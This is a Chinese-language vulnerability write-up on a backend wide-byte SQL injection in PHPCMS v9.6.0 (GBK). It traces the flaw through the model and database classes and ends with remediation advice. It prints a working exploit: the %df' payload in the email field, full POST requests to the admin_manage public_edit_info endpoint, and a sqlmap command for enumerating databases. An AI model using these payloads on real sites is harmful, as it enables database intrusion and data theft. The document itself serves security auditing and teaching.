CMS SQL注入代码审计
字数 1055 2025-08-09 22:00:43
PHPCMS v9.6.0 SQL注入漏洞分析与利用
漏洞概述
PHPCMS v9.6.0 GBK版本存在一个后台SQL注入漏洞,该漏洞位于用户信息更新功能处,由于未对输入数据进行严格过滤,结合GBK编码特性导致可被利用。
漏洞环境
- 目标系统:PHPCMS v9.6.0 GBK版本
- 审计工具:
- Seasy源代码审计系统
- Phpstudy 8.1.1.2
漏洞分析
漏洞位置
漏洞位于管理员后台的用户信息更新功能,具体路径:
/index.php?m=admin&c=admin_manage&a=public_edit_info
漏洞成因
- 输入过滤不严:系统虽然默认对输入数据进行了转义,但在用户信息更新时未对字符进行严格过滤
- 宽字节注入:由于系统使用GBK编码,可通过宽字节注入绕过转义
- 直接拼接SQL:用户输入的info数据直接带入数据库查询
代码审计追踪
- 首先定位到用户信息更新功能,直接获取输入的info数据并带入查询
- 追踪调用链:
- 调用
admin_model模型 - 实例化
model类 - 在
model类中找到update方法 - 调用
db_factory类进行数据库操作 - 最终调用
mysql_class中的update方法
- 调用
- 关键发现:
update方法调用escape_string对输入过滤escape方法未对输入数据做有效过滤- 返回的查询语句直接带入
execute执行
漏洞利用
利用条件
- 需要管理员权限(后台注入)
- 需要有效的管理员cookie
- 系统使用GBK编码
利用步骤
- 登录后台:使用管理员账号登录系统
- 提交修改请求:访问用户信息修改页面
- 构造Payload:
- 由于邮箱字段有前端格式验证,需抓包修改
- 在email字段后添加
%df'触发SQL报错
- 自动化利用:
- 将构造的数据包保存为POST.txt
- 使用sqlmap进行自动化注入:
sqlmap -r POST.txt --dbs
示例数据包
报错数据包:
POST /index.php?m=admin&c=admin_manage&a=public_edit_info HTTP/1.1
Host: 127.0.0.1:8093
[...其他头部信息...]
info%5Buserid%5D=1&info%5Busername%5D=phpcms&info%5Brealname%5D=123&info%5Bemail%5D=12%4012.com%df'&info%5Blang%5D=zh-cn&dosubmit=%CC%E1%BD%BB&pc_hash=G9EuRQ
注入数据包:
POST /index.php?m=admin&c=admin_manage&a=public_edit_info HTTP/1.1
Host: 127.0.0.1:8093
[...其他头部信息...]
info%5Buserid%5D=1&info%5Busername%5D=phpcms&info%5Brealname%5D=123&info%5Bemail%5D=12%4012.com%df&info%5Blang%5D=zh-cn&dosubmit=%CC%E1%BD%BB&pc_hash=G9EuRQ
漏洞修复建议
- 严格输入过滤:对所有用户输入进行严格的过滤和验证
- 使用预处理语句:改用参数化查询或预处理语句
- 编码统一:建议使用UTF-8编码避免宽字节注入
- 权限控制:加强后台功能的权限验证
- 转义函数改进:完善escape方法对特殊字符的处理
总结
该漏洞是一个典型的后台SQL注入漏洞,利用GBK编码特性绕过转义,可直接获取数据库信息。漏洞利用需要管理员权限,但一旦获取权限可造成严重危害。开发时应特别注意用户输入的过滤和SQL语句的构造方式。